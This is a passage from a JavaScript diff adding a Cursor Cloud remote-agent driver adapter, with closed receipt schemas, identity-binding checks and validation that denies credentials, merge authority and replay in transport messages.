'cursor-cloud'; +export const CURSOR_CLOUD_DRIVER_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-driver.v1'; +export const CURSOR_CLOUD_TRANSPORT_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-transport.v1'; +export const CURSOR_CLOUD_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-evidence.v1'; +export const CURSOR_CLOUD_CAPABILITY_REVISION = 'p21.cursor-cloud.1'; +export const CURSOR_CLOUD_DRIVER_VERSION = 1; + +export const CURSOR_CLOUD_TRANSPORT_OPERATIONS = capturedFreeze([ + 'preflight', 'create', 'send', 'observe', 'cancel', 'reattach', +]); + +export const CURSOR_CLOUD_AGENT_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const CURSOR_CLOUD_RUN_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const CURSOR_CLOUD_REQUEST_ID_PATTERN = /^ccr-[0-9a-f]{32}$/u; +export const CURSOR_CLOUD_BRANCH_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +export const CURSOR_CLOUD_REPO_IDENTITY_PATTERN = /^[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +export const CURSOR_CLOUD_REPO_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +export const CURSOR_CLOUD_CURSOR_PATTERN = /^[0-9]{1,16}$/u; + +export const MAX_CURSOR_CLOUD_EVENT_PAGE = 32; +export const MAX_CURSOR_CLOUD_EVENT_BYTES = 32 * 1024; +export const MAX_CURSOR_CLOUD_EVENT_COUNT = 1_000_000; +export const MAX_CURSOR_CLOUD_TIMING_MS = 86_400_000; +export const MAX_CURSOR_CLOUD_CURSOR_BYTES = 16; +export const MAX_CURSOR_CLOUD_QUESTION_ID_BYTES = 80; + +export const CURSOR_CLOUD_OBSERVE_STATUSES = capturedFreeze([ + 'running', 'needs_attention', 'completed', 'failed', 'cancelled', 'lost', +]); +export const CURSOR_CLOUD_CANCEL_OUTCOMES = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +export const CURSOR_CLOUD_EVENT_KINDS = capturedFreeze([ + 'status', 'git', 'usage', 'attention', 'truncated', +]); + +const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +const DETAIL_MESSAGE_MAX_BYTES = 512; + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const WEAK_MAP_CTOR = WeakMap; + +export const CURSOR_CLOUD_DETAIL_CODES = capturedFreeze([ + 'already_terminal', + 'archive_failed', + 'archive_confirmed', + 'base_advanced', + 'cancel_confirmed', + 'cancel_requested', + 'duplicate_identity', + 'live_progress', + 'model_unattested', + 'origin_missing', + 'preflight_blocked', + 'restart_evidence_absent', + 'starting_ref_invisible', + 'starting_ref_invalid', + 'terminal_evidence', + 'transport_unavailable', + 'unresolved_attention', + 'workspace_dirty', +]); + +const PREFLIGHT_RECEIPT_KEYS = capturedFreeze([ + 'ok', 'provider', 'model', 'requested_model', 'effective_model', + 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'repository_url', 'workspace_clean', + 'starting_ref_visible', 'starting_ref_commit', 'head_sha', 'duplicate_identities', + 'credential_bearing', 'auto_create_pr', 'detail_code', 'detail_message', +]); +const CREATE_RECEIPT_KEYS = capturedFreeze([ + 'created', 'agent_id', 'provider', 'model', 'run_id', 'assignment_id', + 'lane_index', 'base_sha', 'child_envelope_digest', 'starting_sha', + 'repository_identity', +]); +const SEND_RECEIPT_KEYS = capturedFreeze([ + 'acknowledged', 'agent_id', 'provider_run_id', 'request_id', 'branch', + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const OBSERVE_RECEIPT_KEYS = capturedFreeze([ + 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', 'model', + 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'status', 'head_sha', 'merge_base_sha', + 'linear_history', 'events', 'progress', 'attention', 'cursor', 'elapsed_ms', + 'event_count', +]); +const CANCEL_RECEIPT_KEYS = capturedFreeze([ + 'outcome', 'archived', 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', + 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const REATTACH_RECEIPT_KEYS = capturedFreeze([ + 'reattached', 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', + 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const PROGRESS_KEYS = capturedFreeze(['cursor', 'event_count', 'elapsed_ms', 'status']); +const ATTENTION_KEYS = capturedFreeze(['question_id']); +const EVENT_RECORD_KEYS = capturedFreeze(['bytes', 'kind']); +const EVIDENCE_QUERY_KEYS = capturedFreeze([ + 'run_id', 'assignment_id', 'child_envelope_digest', +]); +const IDENTITY_ECHO_KEYS = capturedFreeze([ + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', +]); +const CONTENT_FORBIDDEN_KEYS = capturedFreeze([ + 'allow_merge', 'api_key', 'authorization', 'create_pr', 'credential', + 'envelope_text', 'fallback', 'password', 'prompt', 'push', 'resend', + 'retry_dispatch', 'secret', 'token', +]); +const POST_INTENT_ERROR_CODES = capturedFreeze([ + 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', +]); +const TRANSPORT_COLLAPSE_CODES = capturedFreeze([ + 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', +]); +const TRANSPORT_COLLAPSE_MESSAGES = capturedFreeze({ + send_ack_missing: 'cursor cloud send acknowledgement missing', + transport_exception: 'cursor cloud transport failed', + transport_lost: 'cursor cloud transport lost', + transport_timeout: 'cursor cloud transport timed out', +}); +const CLOSED_RECEIPT_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'content_key_denied', + 'credential_content_denied', 'dependency_not_allowed', 'detail_pair_denied', + 'direct_mode_rejected', 'duplicate_identity', 'executable_content_denied', + 'exotic_prototype_denied', 'invalid_exact_model_selection', 'invalid_format', + 'invalid_json_type', 'invalid_json_value', 'invalid_object', 'invalid_type', + 'malformed_receipt', 'merge_authority_denied', 'own_undefined_denied', + 'proxy_denied', 'replay_or_fallback_denied', 'repository_credentials', + 'stale_identity_denied', 'unknown_key', 'value_depth_exceeded', +]); +const CLOSED_RECEIPT_PATHS = capturedFreeze({ + preflight: 'cursor_cloud_transport.preflight', + create: 'cursor_cloud_transport.create', + send: 'cursor_cloud_transport.send', + observe: 'cursor_cloud_transport.observe', + cancel: 'cursor_cloud_transport.cancel', + reattach: 'cursor_cloud_transport.reattach', +}); +const CLOSED_RECEIPT_MESSAGES = capturedFreeze({ + preflight: 'Cursor Cloud preflight receipt failed closed validation; transport detail is omitted.', + create: 'Cursor Cloud create receipt failed closed validation; transport detail is omitted.', + send: 'Cursor Cloud send receipt failed closed validation; transport detail is omitted.', + observe: 'Cursor Cloud observe receipt failed closed validation; transport detail is omitted.', + cancel: 'Cursor Cloud cancel receipt failed closed validation; transport detail is omitted.', + reattach: 'Cursor Cloud reattach receipt failed closed validation; transport detail is omitted.', +}); +const CLOSED_RECEIPT_VALIDATION_MESSAGES = capturedFreeze({ + unknown_key: 'contains a key outside the closed Cursor Cloud receipt vocabulary.', + replay_or_fallback_denied: 'must not enable replay or fallback.', + credential_content_denied: 'must not carry credential material.', + merge_authority_denied: 'must not enable merge or create-PR authority.', + executable_content_denied: 'must not carry executable content.', + dependency_not_allowed: 'must not carry dependency edges.', + direct_mode_rejected: 'must not select direct workspace mode.', + content_key_denied: 'must not carry forbidden content keys.', + malformed_receipt: 'must be a plain closed Cursor Cloud receipt.', + invalid_type: 'must be a plain closed Cursor Cloud receipt.', + proxy_denied: 'must be concrete JSON data, not a Proxy.', +}); +const CURSOR_CLOUD_PROGRESS_STATUSES = capturedFreeze([ + ...CURSOR_CLOUD_OBSERVE_STATUSES, + 'truncated', +]); +const TERMINAL_OBSERVE_STATUSES = capturedFreeze(['completed', 'failed', 'cancelled']); +const TERMINAL_CANCEL_OUTCOMES = capturedFreeze(['cancel_confirmed', 'already_terminal']); +const TERMINAL_LATCH_STATES = capturedFreeze([ + 'terminal', 'cancel_confirmed', 'already_terminal', +]); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'created', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const BLOCKED_PREFLIGHT_CODES = capturedFreeze([ + 'base_advanced', 'model_unattested', 'origin_missing', 'preflight_blocked', + 'starting_ref_invisible', 'starting_ref_invalid', 'transport_unavailable', + 'workspace_dirty', +]); +const BLOCKED_PREFLIGHT_MESSAGES = capturedFreeze({ + base_advanced: 'pinned starting sha no longer matches workspace head', + model_unattested: 'requested model is not attested by the cloud transport', + origin_missing: 'provider repository identity is absent', + preflight_blocked: 'cursor cloud preflight is blocked; the lane fails closed', + starting_ref_invisible: 'starting sha is not provider-visible', + starting_ref_invalid: 'starting ref is not an immutable commit sha', + transport_unavailable: 'cursor cloud preflight failed before create intent', + workspace_dirty: 'workspace checkout is dirty', +}); + +const DRIVER_STORES = new WEAK_MAP_CTOR(); + +const CURSOR_CLOUD_NOTES = 'Cursor Cloud SDK remote managed workspace. Launch confirms only after an authoritative agent/run/request identity. Same-session reply is unsupported. Create PR and merge are prohibited. Process-local lane state only; no supervisor cutover or live-transport qualification.'; + +function truncateForMessage(value) { + const text = STRING(value); + return text.length > 48 ? `${text.slice(0, 45)}...` : text; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function laneKey(runId, assignmentId) { + return `${runId}\u0000${assignmentId}`; +} + +function storeFor(driver) { + const store = DRIVER_STORES.get(driver); + if (store === undefined) { + fail('invalid_surface', 'cursor_cloud_driver', + 'inspectCursorCloudLaneEvidenceV1 requires a driver created by this adapter.'); + } + return store; +} + +function cursorCloudCapabilityRecord() { + return { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: capturedFreeze([ + 'cloud_receipt', 'git_diff', 'provider_report', 'ref_snapshot', + ]), + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: CURSOR_CLOUD_NOTES, + provider: CURSOR_CLOUD_PROVIDER_SLOT, + replay_posture: 'never_replay', + revision: CURSOR_CLOUD_CAPABILITY_REVISION, + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }; +} + +export function cursorCloudDriverDeclarationV1() { + return validateDriverDeclarationV1({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: cursorCloudCapabilityRecord(), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }); +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +function assertDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } + return value; +} + +function assertCommitSha(value, path) { + if (typeof value !== 'string' || !capturedTest(SHA40_PATTERN, value)) { + fail('invalid_format', path, `${path} must be a lowercase 40-hex commit sha.`); + } + return value; +} + +function assertExactModel(value, path) { + if (!isModelId(value)) { + fail('invalid_exact_model_selection', path, + `${path} must be the exact selected Cursor Cloud model identifier.`); + } + return value; +} + +function assertRepositoryIdentity(value, path) { + if (typeof value !== 'string' || !capturedTest(CURSOR_CLOUD_REPO_IDENTITY_PATTERN, value) + || value.includes('@') || value.includes('://')) { + fail('invalid_format', path, + `${path} must be a credential-free immutable host/path repository identity.`); + } + return value; +} + +function assertRepositoryUrl(value, path) { + if (typeof value !== 'string' || !capturedTest(CURSOR_CLOUD_REPO_URL_PATTERN, value) + || value.includes('@') || value.includes('?') || value.includes('#')) { + fail('invalid_format', path, + `${path} must be a credential-free https repository url.`); + } + return value; +} + +function identityFromEnvelope(envelope, childEnvelopeDigest) { + const provider = envelope.execution.provider; + if (provider !== CURSOR_CLOUD_PROVIDER_SLOT) { + fail('provider_slot_mismatch', 'envelope.execution.provider', + `The Cursor Cloud adapter hard-binds provider "${CURSOR_CLOUD_PROVIDER_SLOT}"; received ` + + `"${truncateForMessage(provider)}".`); + } + const model = envelope.execution.model; + if (typeof model !== 'string' || model.length === 0) { + fail('invalid_exact_model_selection', 'envelope.execution.model', + 'The Cursor Cloud adapter requires the exact selected model; digest-or-profile-only launches are denied.'); + } + assertExactModel(model, 'envelope.execution.model'); + const startingSha = envelope.starting_ref; + if (typeof startingSha !== 'string' || !capturedTest(SHA40_PATTERN, startingSha)) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Cursor Cloud lanes pin one exact provider-visible starting SHA.'); + } + if (startingSha !== envelope.repository.base_sha) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Cursor Cloud starting SHA must equal the immutable run base SHA; base advancement is denied.'); + } + return capturedFreeze({ + provider: CURSOR_CLOUD_PROVIDER_SLOT, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + child_envelope_digest: childEnvelopeDigest, + starting_sha: startingSha, + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }); +} + +function assertRequiredFalse(receipt, key, path, code, message) { + if (!hasOwn(receipt, key) || optOwn(receipt, key) !== false) { + fail(code, `${path}.${key}`, message); + } +} + +function assertCursorToken(value, path) { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a cursor string.`); + } + if (capturedUtf8ByteLength(value) > MAX_CURSOR_CLOUD_CURSOR_BYTES) { + fail('invalid_format', path, `${path} exceeds the cursor byte cap.`); + } + return assertPatternedId(value, CURSOR_CLOUD_CURSOR_PATTERN, path, 'event cursor'); +} + +function assertBoundedCount(value, path, max) { + if (!Number.isSafeInteger(value) || value < 0 || value > max) { + fail('invalid_format', path, `${path} must be a bounded non-negative integer.`); + } + return value; +} + +function assertBoundRepositoryAndSha(receipt, identity, boundRepository, path) { + if (!hasOwn(receipt, 'starting_sha')) { + fail('malformed_receipt', `${path}.starting_sha`, + `${path}.starting_sha must echo the immutable pinned starting SHA.`); + } + const startingSha = assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`); + if (startingSha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Transport starting SHA does not match the immutable pinned commit.'); + } + if (!hasOwn(receipt, 'repository_identity')) { + fail('malformed_receipt', `${path}.repository_identity`, + `${path}.repository_identity must echo the bound provider repository identity.`); + } + const repositoryIdentity = assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ); + if (boundRepository !== undefined && repositoryIdentity !== boundRepository) { + fail('stale_identity_denied', `${path}.repository_identity`, + 'Transport repository identity drifted from the bound provider repository.'); + } + return repositoryIdentity; +} + +function assertReceiptIdentity(receipt, identity, path, boundRepository) { + for (const key of IDENTITY_ECHO_KEYS) { + if (!hasOwn(receipt, key)) { + fail('malformed_receipt', path, + `${path} must echo the exact Cursor Cloud lane identity.`); + } + const actual = optOwn(receipt, key); + const value = identity[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('stale_identity_denied', path, + `${path} identity does not match the bound Cursor Cloud lane.`); + } + } + return assertBoundRepositoryAndSha(receipt, identity, boundRepository, path); +} + +function collapsedTransportError(operation, error) { + let code = 'transport_exception'; + try { + if (error !== null && typeof error === 'object' && !IS_PROXY(error) + && typeof error.code === 'string' + && capturedIncludes(TRANSPORT_COLLAPSE_CODES, error.code)) { + code = error.code; + } + } catch { + code = 'transport_exception'; + } + return new RunContractV1Error( + code, + `cursor_cloud_transport.${operation}`, + optOwn(TRANSPORT_COLLAPSE_MESSAGES, code), + ); +} + +function closedReceiptCode(error) { + try { + if (error instanceof RunContractV1Error && typeof error.code === 'string' + && capturedIncludes(CLOSED_RECEIPT_ERROR_CODES, error.code)) { + return error.code; + } + } catch { + return 'malformed_receipt'; + } + return 'malformed_receipt'; +} + +function closedReceiptError(operation, error) { + return new RunContractV1Error( + closedReceiptCode(error), + optOwn(CLOSED_RECEIPT_PATHS, operation), + optOwn(CLOSED_RECEIPT_MESSAGES, operation), + ); +} + +function inspectProviderReceipt(operation, fn) { + try { + return fn(); + } catch (error) { + throw closedReceiptError(operation, error); + } +} + +function closedReceiptValidationMessage(code, path) { + const suffix = optOwn(CLOSED_RECEIPT_VALIDATION_MESSAGES, code) + ?? 'failed closed Cursor Cloud receipt validation.'; + return `${path} ${suffix}`; +} + +function invokeTransport(store, operation, request) { + try { + return callTransport(store, operation, request); + } catch (error) { + throw collapsedTransportError(operation, error); + } +} + +function guardLifecycle(operation, fn) { + try { + return fn(); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + throw collapsedTransportError(operation, error); + } +} + +function hasExactRecordedRunIdentity(record) { + return record !== undefined + && typeof record.agent_id === 'string' + && typeof record.provider_run_id === 'string' + && typeof record.request_id === 'string' + && typeof record.branch === 'string'; +} + +function evidenceTruncatedFlag(events, progress, status, priorTruncated) { + if (priorTruncated === true) return true; + if (status === 'truncated') return true; + if (progress !== undefined && progress.status === 'truncated') return true; + for (let index = 0; index < events.length; index += 1) { + if (events[index].kind === 'truncated') return true; + } + return false; +} + +function assertClosedReceipt(receipt, allowedKeys, path) { + if (receipt === undefined || receipt === null) { + fail('malformed_receipt', path, `${path} must be a plain transport receipt.`); + } + assertDirectJsonClosure(receipt, path); + assertPlainObject(receipt, 'malformed_receipt', path, path); + try { + assertAllowedKeys(receipt, allowedKeys, path); + } catch (error) { + const code = closedReceiptCode(error); + fail(code, path, closedReceiptValidationMessage(code, path)); + } +} + +function assertNoContentKeys(value, path) { + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (capturedIncludes(CONTENT_FORBIDDEN_KEYS, key)) { + if (key === 'create_pr' || key === 'allow_merge' || key === 'push') { + fail('merge_authority_denied', `${path}.${key}`, + `${path}.${key} is prohibited; Cursor Cloud runs never create a PR, merge, or push.`); + } + if (key === 'fallback' || key === 'resend' || key === 'retry_dispatch') { + fail('replay_or_fallback_denied', `${path}.${key}`, + `${path}.${key} is forbidden; Cursor Cloud never replays or fallback-substitutes.`); + } + fail('content_key_denied', `${path}.${key}`, + `${path}.${key} is forbidden on Cursor Cloud transport messages.`); + } + } +} + +function boundedDiagnosticMessage(code, fallback) { + const text = typeof fallback === 'string' && fallback.length > 0 ? fallback : code; + if (capturedUtf8ByteLength(text) <= DETAIL_MESSAGE_MAX_BYTES) return text; + return text.slice(0, 64); +} + +function blockedPreflightDetail(code) { + const mapped = capturedIncludes(BLOCKED_PREFLIGHT_CODES, code) ? code : 'preflight_blocked'; + return capturedFreeze({ + detail_code: mapped, + detail_message: BLOCKED_PREFLIGHT_MESSAGES[mapped], + }); +} + +function driverResult(operation, identity, disposition, extras = {}) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + disposition, + }; + if (hasOwn(extras, 'detail_code')) result.detail_code = optOwn(extras, 'detail_code'); + if (hasOwn(extras, 'detail_message')) result.detail_message = optOwn(extras, 'detail_message'); + return freezeData(result); +} + +function transportIdentityRequest(identity, extras = {}) { + return detachFrozenJson({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + starting_sha: identity.starting_sha, + repository_path: identity.repository_path, + ...extras, + }); +} + +function bindRequestId(identity, agentId) { + const digest = identityBoundDigest(IDENTITY_LABELS.REQUEST_IDEMPOTENCY, { + agent_id: agentId, + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + model: identity.model, + provider: identity.provider, + run_id: identity.run_id, + starting_sha: identity.starting_sha, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, digest)) { + fail('invalid_format', 'send.request_id', 'Cursor Cloud request id binding must be a sha256 digest.'); + } + return `ccr-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +function proposedAgentId(identity) { + const digest = identityBoundDigest(IDENTITY_LABELS.PROVIDER_RUN_IDENTITY, { + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + provider: identity.provider, + run_id: identity.run_id, + starting_sha: identity.starting_sha, + }); + return `bc-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +export function assertCursorCloudTransportV1(transport) { + const path = 'cursor_cloud_transport'; + if (transport !== null && (typeof transport === 'object' || typeof transport === 'function') + && IS_PROXY(transport)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; the Cursor Cloud adapter accepts a concrete injected transport only.`); + } + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !capturedIsArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of the closed Cursor Cloud SDK transport operations.`); + } + const entries = assertJsonDataObject(transport, path); + const expected = new SET_CTOR(CURSOR_CLOUD_TRANSPORT_OPERATIONS); + if (entries.length !== CURSOR_CLOUD_TRANSPORT_OPERATIONS.length + || entries.some(({ key }) => !SET_HAS.call(expected, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(CURSOR_CLOUD_TRANSPORT_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete synchronous transport function.`); + } + } + return capturedFreeze({ + schema: CURSOR_CLOUD_TRANSPORT_SCHEMA_ID, + operations: capturedFreeze([...CURSOR_CLOUD_TRANSPORT_OPERATIONS]), + mode: 'injected_bounded_sdk_port', + }); +} + +function callTransport(store, operation, request) { + const handler = capturedDescriptor(store.handlers, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `cursor_cloud_transport.${operation}`, + `cursor_cloud_transport.${operation} must be a concrete function.`); + } + return handler.call(store.transport, request); +} + +function getLane(store, identity) { + return store.lanes.get(laneKey(identity.run_id, identity.assignment_id)); +} + +function putLane(store, identity, patch) { + const prior = getLane(store, identity) ?? capturedCreate(null); + const next = freezeData({ + ...prior, + ...patch, + identity, + }); + store.lanes.set(laneKey(identity.run_id, identity.assignment_id), next); + return next; +} + +function assertLaneIdentity(prior, identity, path) { + if (prior === undefined) return; + if (!digestsEqual(prior.identity.child_envelope_digest, identity.child_envelope_digest)) { + fail('stale_identity_denied', `${path}.child_envelope_digest`, + 'The request envelope digest does not match the exact Cursor Cloud child previously observed.'); + } + if (prior.identity.model !== identity.model) { + fail('stale_identity_denied', `${path}.model`, + 'The envelope model differs from the exact model recorded at Cursor Cloud preflight.'); + } + if (prior.identity.starting_sha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'The pinned starting SHA differs from the immutable SHA recorded at preflight.'); + } +} + +function laneMayHaveSent(record) { + return record !== undefined && ( + record.created === true + || record.dispatch_intent === true + || capturedIncludes(POSSIBLE_SEND_STATES, record.state) + ); +} + +function hasTerminalLatch(record) { + if (record === undefined) return false; + if (record.terminal_latch === true) return true; + if (capturedIncludes(TERMINAL_LATCH_STATES, record.state)) return true; + if (record.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, record.last_status)) { + return true; + } + return record.cancel_outcome !== undefined + && capturedIncludes(TERMINAL_CANCEL_OUTCOMES, record.cancel_outcome); +} + +function isPostIntentFailure(error) { + return error !== null && typeof error === 'object' + && typeof error.code === 'string' + && capturedIncludes(POST_INTENT_ERROR_CODES, error.code); +} + +function markUncertain(store, identity, extras = {}) { + putLane(store, identity, { + state: 'dispatch_uncertain', + model: identity.model, + agent_id: extras.agent_id, + provider_run_id: extras.provider_run_id, + request_id: extras.request_id, + branch: extras.branch, + repository_identity: extras.repository_identity, + created: true, + dispatch_intent: true, + }); + return driverResult('launch', identity, 'dispatch_uncertain'); +} + +function assertExactRunBinding(receipt, record, path) { + const checks = capturedFreeze([ + ['agent_id', CURSOR_CLOUD_AGENT_ID_PATTERN, 'agent_id'], + ['provider_run_id', CURSOR_CLOUD_RUN_ID_PATTERN, 'provider_run_id'], + ['request_id', CURSOR_CLOUD_REQUEST_ID_PATTERN, 'request_id'], + ['branch', CURSOR_CLOUD_BRANCH_PATTERN, 'branch'], + ]); + for (const [key, pattern, label] of checks) { + if (record[key] === undefined) continue; + if (!hasOwn(receipt, key)) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo the exact recorded Cursor Cloud ${label}.`); + } + const actual = assertPatternedId(optOwn(receipt, key), pattern, `${path}.${key}`, label); + if (actual !== record[key]) { + fail('stale_identity_denied', `${path}.${key}`, + `Receipt ${key} must match the exact recorded Cursor Cloud ${label}.`); + } + } +} + +function projectEvents(events, path) { + if (events === undefined) return capturedFreeze([]); + assertDenseJsonArray(events, path); + if (events.length > MAX_CURSOR_CLOUD_EVENT_PAGE) { + fail('invalid_format', path, + `${path} must contain at most ${MAX_CURSOR_CLOUD_EVENT_PAGE} event records.`); + } + const projected = []; + for (let index = 0; index < events.length; index += 1) { + const entryPath = `${path}[${index}]`; + const entry = events[index]; + assertDirectJsonClosure(entry, entryPath); + assertPlainObject(entry, 'malformed_receipt', entryPath, entryPath); + assertAllowedKeys(entry, EVENT_RECORD_KEYS, entryPath); + const kind = optOwn(entry, 'kind'); + if (!capturedIncludes(CURSOR_CLOUD_EVENT_KINDS, kind)) { + fail('invalid_format', `${entryPath}.kind`, + `${entryPath}.kind must be one of ${capturedJoin(CURSOR_CLOUD_EVENT_KINDS, ', ')}.`); + } + const bytes = optOwn(entry, 'bytes'); + if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_CURSOR_CLOUD_EVENT_BYTES) { + fail('invalid_format', `${entryPath}.bytes`, + `${entryPath}.bytes must be a bounded non-negative integer.`); + } + ARRAY_PUSH.call(projected, freezeData({ kind, bytes })); + } + return capturedFreeze(projected); +} + +function projectProgress(progress, path) { + if (progress === undefined) return undefined; + assertDirectJsonClosure(progress, path); + assertPlainObject(progress, 'malformed_receipt', path, path); + assertAllowedKeys(progress, PROGRESS_KEYS, path); + const projected = {}; + if (hasOwn(progress, 'cursor')) { + projected.cursor = assertCursorToken(optOwn(progress, 'cursor'), `${path}.cursor`); + } + if (hasOwn(progress, 'event_count')) { + projected.event_count = assertBoundedCount( + optOwn(progress, 'event_count'), `${path}.event_count`, MAX_CURSOR_CLOUD_EVENT_COUNT, + ); + } + if (hasOwn(progress, 'elapsed_ms')) { + projected.elapsed_ms = assertBoundedCount( + optOwn(progress, 'elapsed_ms'), `${path}.elapsed_ms`, MAX_CURSOR_CLOUD_TIMING_MS, + ); + } + if (hasOwn(progress, 'status')) { + const status = optOwn(progress, 'status'); + if (!capturedIncludes(CURSOR_CLOUD_PROGRESS_STATUSES, status)) { + fail('invalid_format', `${path}.status`, + `${path}.status must be a closed Cursor Cloud progress status.`); + } + projected.status = status; + } + return freezeData(projected); +} + +function projectAttention(attention, path) { + if (attention === undefined) return undefined; + assertDirectJsonClosure(attention, path); + assertPlainObject(attention, 'malformed_receipt', path, path); + assertAllowedKeys(attention, ATTENTION_KEYS, path); + const questionId = optOwn(attention, 